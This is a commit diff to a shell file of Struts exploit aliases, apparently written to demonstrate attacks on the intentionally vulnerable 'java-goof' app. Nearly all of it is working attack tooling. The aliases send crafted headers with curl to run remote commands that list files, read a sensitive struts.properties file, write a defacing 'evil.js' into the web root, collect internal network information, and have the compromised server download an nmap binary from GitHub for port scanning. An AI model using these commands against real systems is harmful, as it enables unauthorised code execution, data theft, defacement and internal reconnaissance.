Improved exploits

Author: guypod

exploits/struts-aliases.sh

@@ -1,10 +1,13 @@
 if [ -z "$JAVA_GOOF_HOST" ]; then
-	export JAVA_GOOF_HOST=https://java-goof.herokuapp.com
+	export JAVA_GOOF_HOST=java-goof.herokuapp.com
+	export JAVA_GOOF_URL=https://$JAVA_GOOF_HOST
 fi
 export JAVA_GOOF_DEBUG=-v
 
-alias struts_base_command="echo \$EXP_MESSAGE'\n\n' &| cat struts-exploit-headers.txt| sed 's/COMMAND/'\$EXP_COMMAND'/' | xargs curl --http1.0 \$JAVA_GOOF_DEBUG $JAVA_GOOF_HOST -H"
+alias struts_base_command="echo \$EXP_MESSAGE'\n\n' &| cat struts-exploit-headers.txt| sed 's/COMMAND/'\$EXP_COMMAND'/' | xargs curl --http1.0 \$JAVA_GOOF_DEBUG $JAVA_GOOF_URL -H"
 
+# Check if struts is there
+alias struts0="nmap  -p 80 --script http-vuln-struts-detection.nse $JAVA_GOOF_HOST"
 
 # List files (simple)
 alias struts1="export EXP_MESSAGE='Getting list of files...'; export EXP_COMMAND='ls -l'; struts_base_command"
@@ -21,5 +24,12 @@ alias struts4="export EXP_MESSAGE='Getting full list of files...'; export EXP_CO
 # Show a sensitive file
 alias struts5="export EXP_MESSAGE='Showing sensitive properties file...'; export EXP_COMMAND='cat .\/target\/tomcat.*\/webapps\/expanded\/WEB-INF\/classes\/struts.properties'; struts_base_command"
 
-# Create a file
-alias struts6="export EXP_MESSAGE='Create a file at $JAVA_GOOF_HOST/static/js/evil.js...'; export export EXP_COMMAND='echo MUHAHAHAHAHAHAHA > .\/target\/tomcat.'\$JAVA_GOOF_TOMCAT_PID'\/webapps\/expanded\/static\/js\/evil.js'; struts_base_command"
+# Create a file *********(make sure JAVA_GOOF_TOMCAT_PID is set to the right PID)******
+alias struts6="export EXP_MESSAGE='Create a file at $JAVA_GOOF_URL/static/js/evil.js...'; export export EXP_COMMAND='echo MUHAHAHAHAHAHAHA > .\/target\/tomcat.'\$JAVA_GOOF_TOMCAT_PID'\/webapps\/expanded\/static\/js\/evil.js'; struts_base_command"
+
+# Getting IP Info
+alias struts7="export EXP_MESSAGE='Gathering internal network information...'; export export EXP_COMMAND='ip addr show'; struts_base_command"
+
+# Uploading nmap to do port scanning
+alias struts8="export EXP_MESSAGE='Uploading nmap...'; export export EXP_COMMAND='wget https:\/\/github.com\/andrew-d\/static-binaries\/raw\/master\/binaries\/linux\/x86_64\/nmap'; struts_base_command"
+